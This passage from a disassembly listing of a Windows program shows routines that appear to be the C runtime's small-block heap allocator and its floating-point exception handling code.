loc_416D2D:				; CODE XREF: sub_416CCF+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_416D46
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_416D2D


loc_416D46:				; CODE XREF: sub_416CCF+5Cj
					; sub_416CCF+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_416DC4
		mov	ebx, edx


loc_416D4D:				; CODE XREF: sub_416CCF+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_416D69
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_416D67
		add	ebx, 14h
		jmp	short loc_416D4D
; ---------------------------------------------------------------------------


loc_416D67:				; CODE XREF: sub_416CCF+91j
		cmp	ebx, eax


loc_416D69:				; CODE XREF: sub_416CCF+83j
		jnz	short loc_416DC4


loc_416D6B:				; CODE XREF: sub_416CCF+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_416D81
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_416D7E
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_416D6B
; ---------------------------------------------------------------------------


loc_416D7E:				; CODE XREF: sub_416CCF+A5j
		cmp	ebx, [ebp+var_4]


loc_416D81:				; CODE XREF: sub_416CCF+9Fj
		jnz	short loc_416DA9
		mov	ebx, edx


loc_416D85:				; CODE XREF: sub_416CCF+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_416D99
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_416D97
		add	ebx, 14h
		jmp	short loc_416D85
; ---------------------------------------------------------------------------


loc_416D97:				; CODE XREF: sub_416CCF+C1j
		cmp	ebx, eax


loc_416D99:				; CODE XREF: sub_416CCF+BBj
		jnz	short loc_416DA9
		call	sub_416FD8
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_416DBD


loc_416DA9:				; CODE XREF: sub_416CCF:loc_416D81j
					; sub_416CCF:loc_416D99j
		push	ebx
		call	sub_417089
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_416DC4


loc_416DBD:				; CODE XREF: sub_416CCF+D8j
		xor	eax, eax
		jmp	loc_416FD3
; ---------------------------------------------------------------------------


loc_416DC4:				; CODE XREF: sub_416CCF+7Aj
					; sub_416CCF:loc_416D69j ...
		mov	dword_743870, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_416DEB
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_416E22


loc_416DEB:				; CODE XREF: sub_416CCF+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_416E1F


loc_416E08:				; CODE XREF: sub_416CCF+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_416E08


loc_416E1F:				; CODE XREF: sub_416CCF+137j
		mov	edx, [ebp+var_4]


loc_416E22:				; CODE XREF: sub_416CCF+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_416E4B
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_416E4B:				; CODE XREF: sub_416CCF+16Dj
					; sub_416CCF+183j
		test	ecx, ecx
		jl	short loc_416E54
		shl	ecx, 1
		inc	edi
		jmp	short loc_416E4B
; ---------------------------------------------------------------------------


loc_416E54:				; CODE XREF: sub_416CCF+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_416E71
		push	3Fh
		pop	esi


loc_416E71:				; CODE XREF: sub_416CCF+19Dj
		cmp	esi, edi
		jz	loc_416F86
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_416EE2
		cmp	edi, 20h
		jge	short loc_416EB1
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_416EDF
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_416EE2
; ---------------------------------------------------------------------------


loc_416EB1:				; CODE XREF: sub_416CCF+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_416EDF
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_416EE2
; ---------------------------------------------------------------------------


loc_416EDF:				; CODE XREF: sub_416CCF+1D6j
					; sub_416CCF+203j
		mov	ebx, [ebp+arg_0]


loc_416EE2:				; CODE XREF: sub_416CCF+1B0j
					; sub_416CCF+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_416F92
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_416F83
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_416F54
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_416F42
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_416F42:				; CODE XREF: sub_416CCF+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_416F83
; ---------------------------------------------------------------------------


loc_416F54:				; CODE XREF: sub_416CCF+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_416F6D
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_416F6D:				; CODE XREF: sub_416CCF+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_416F83:				; CODE XREF: sub_416CCF+24Ej
					; sub_416CCF+283j
		mov	ecx, [ebp+var_8]


loc_416F86:				; CODE XREF: sub_416CCF+1A4j
		test	ecx, ecx
		jz	short loc_416F95
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_416F95
; ---------------------------------------------------------------------------


loc_416F92:				; CODE XREF: sub_416CCF+229j
		mov	ecx, [ebp+var_8]


loc_416F95:				; CODE XREF: sub_416CCF+2B9j
					; sub_416CCF+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_416FCB
		cmp	ebx, dword_743874
		jnz	short loc_416FCB
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_74386C
		jnz	short loc_416FCB
		and	dword_743874, 0


loc_416FCB:				; CODE XREF: sub_416CCF+2E0j
					; sub_416CCF+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_416FD3:				; CODE XREF: sub_416CCF+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416CCF	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FD8	proc near		; CODE XREF: sub_416CCF+CCp
		mov	eax, dword_743878
		mov	ecx, dword_743868
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41701B
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_74387C
		push	edi
		push	dword_743880
		call	ds:off_41F158
		cmp	eax, edi
		jz	short loc_41706B
		add	dword_743868, 10h
		mov	dword_74387C, eax
		mov	eax, dword_743878


loc_41701B:				; CODE XREF: sub_416FD8+11j
		mov	ecx, dword_74387C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_743880
		lea	esi, [ecx+eax*4]
		call	ds:dword_41F144	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41706B
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_41F174	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41706F
		push	dword ptr [esi+10h]
		push	edi
		push	dword_743880
		call	ds:dword_41F148	; RtlFreeHeap


loc_41706B:				; CODE XREF: sub_416FD8+30j
					; sub_416FD8+67j
		xor	eax, eax
		jmp	short loc_417086
; ---------------------------------------------------------------------------


loc_41706F:				; CODE XREF: sub_416FD8+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_743878
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_417086:				; CODE XREF: sub_416FD8+95j
		pop	edi
		pop	esi
		retn
sub_416FD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417089	proc near		; CODE XREF: sub_416CCF+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41709B:				; CODE XREF: sub_417089+19j
		test	eax, eax
		jl	short loc_4170A4
		shl	eax, 1
		inc	ebx
		jmp	short loc_41709B
; ---------------------------------------------------------------------------


loc_4170A4:				; CODE XREF: sub_417089+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_4170B9:				; CODE XREF: sub_417089+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_4170B9
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	ds:dword_41F174	; VirtualAlloc
		test	eax, eax
		jnz	short loc_4170EC
		or	eax, 0FFFFFFFFh
		jmp	loc_41717F
; ---------------------------------------------------------------------------


loc_4170EC:				; CODE XREF: sub_417089+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_417132
		lea	eax, [edi+10h]


loc_4170F9:				; CODE XREF: sub_417089+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_4170F9


loc_417132:				; CODE XREF: sub_417089+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41716F
		or	[eax+4], edi


loc_41716F:				; CODE XREF: sub_417089+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41717F:				; CODE XREF: sub_417089+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417184	proc near		; CODE XREF: sub_4157BF+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_417332
		test	bl, 1
		jnz	loc_41732B
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41732B
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_4171FB
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_4171FB:				; CODE XREF: sub_417184+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41724B
		cmp	ecx, 20h
		jnb	short loc_417227
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41724B
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41724B
; ---------------------------------------------------------------------------


loc_417227:				; CODE XREF: sub_417184+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41724B
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41724B:				; CODE XREF: sub_417184+7Dj
					; sub_417184+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_417319
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_417285
		push	3Fh
		pop	edi


loc_417285:				; CODE XREF: sub_417184+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_417307
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_4172DE
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_4172D1
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_4172D1:				; CODE XREF: sub_417184+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_417303
; ---------------------------------------------------------------------------


loc_4172DE:				; CODE XREF: sub_417184+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_4172F4
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_4172F4:				; CODE XREF: sub_417184+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_417303:				; CODE XREF: sub_417184+158j
		shr	edx, cl
		or	[eax], edx


loc_417307:				; CODE XREF: sub_417184+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41731C
; ---------------------------------------------------------------------------


loc_417319:				; CODE XREF: sub_417184+E5j
		mov	edx, [ebp+arg_4]


loc_41731C:				; CODE XREF: sub_417184+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_417472
; ---------------------------------------------------------------------------


loc_41732B:				; CODE XREF: sub_417184+52j
					; sub_417184+5Cj
		xor	eax, eax
		jmp	loc_417475
; ---------------------------------------------------------------------------


loc_417332:				; CODE XREF: sub_417184+49j
		jge	loc_417472
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41735D
		push	3Fh
		pop	esi


loc_41735D:				; CODE XREF: sub_417184+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_4173EC
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_417376
		push	3Fh
		pop	esi


loc_417376:				; CODE XREF: sub_417184+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_4173C5
		cmp	esi, 20h
		jnb	short loc_4173A1
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_4173C2
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4173C2
; ---------------------------------------------------------------------------


loc_4173A1:				; CODE XREF: sub_417184+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4173C2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4173C2:				; CODE XREF: sub_417184+214j
					; sub_417184+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_4173C5:				; CODE XREF: sub_417184+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4173EC
		push	3Fh
		pop	esi


loc_4173EC:				; CODE XREF: sub_417184+1DDj
					; sub_417184+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_417469
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_417440
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_417433
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_417433:				; CODE XREF: sub_417184+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_417465
; ---------------------------------------------------------------------------


loc_417440:				; CODE XREF: sub_417184+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_417456
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_417456:				; CODE XREF: sub_417184+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_417465:				; CODE XREF: sub_417184+2BAj
		shr	edx, cl
		or	[eax], edx


loc_417469:				; CODE XREF: sub_417184+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_417472:				; CODE XREF: sub_417184+1A2j
					; sub_417184:loc_417332j
		push	1
		pop	eax


loc_417475:				; CODE XREF: sub_417184+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417184	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_41747A(int,int,double,int)

sub_41747A	proc near		; CODE XREF: sub_413FAE+51p
					; sub_4140F7+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_438128, 0
		jnz	short loc_4174AF
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_417A2F
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4174AF:				; CODE XREF: sub_41747A+Aj
		push	0FFFFh
		mov	dword_74222C, 21h
		push	[ebp+arg_C]
		call	sub_417CA2
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41747A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4174CD(int,int,double,double,int)

sub_4174CD	proc near		; CODE XREF: sub_413FAE:loc_414071p
					; sub_4140F7:loc_4141BAp

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_417818
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41750B
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_417565
		add	esp, 18h


loc_41750B:				; CODE XREF: sub_4174CD+1Aj
		push	[ebp+arg_0]
		call	sub_417B02
		cmp	dword_438128, 0
		pop	ecx
		jnz	short loc_417549
		test	eax, eax
		jz	short loc_417549
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_417A2F
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_417549:				; CODE XREF: sub_4174CD+4Ej
					; sub_4174CD+52j
		push	eax
		call	sub_417AB7
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_417CA2
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4174CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417565	proc near		; CODE XREF: sub_4174CD+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_417597
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_417597:				; CODE XREF: sub_417565+23j
		test	cl, 2
		jz	short loc_4175AA
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4175AA:				; CODE XREF: sub_417565+35j
		test	cl, bl
		jz	short loc_4175BC
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_4175BC:				; CODE XREF: sub_417565+47j
		test	cl, 4
		jz	short loc_4175CF
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4175CF:				; CODE XREF: sub_417565+5Aj
		test	cl, 8
		jz	short loc_4175E2
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_4175E2:				; CODE XREF: sub_417565+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_417C85
		test	al, bl
		jz	short loc_41766B
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_41766B:				; CODE XREF: sub_417565+FDj
		test	al, 4
		jz	short loc_417676
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_417676:				; CODE XREF: sub_417565+108j
		test	al, 8
		jz	short loc_417681
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_417681:				; CODE XREF: sub_417565+113j
		test	al, 10h
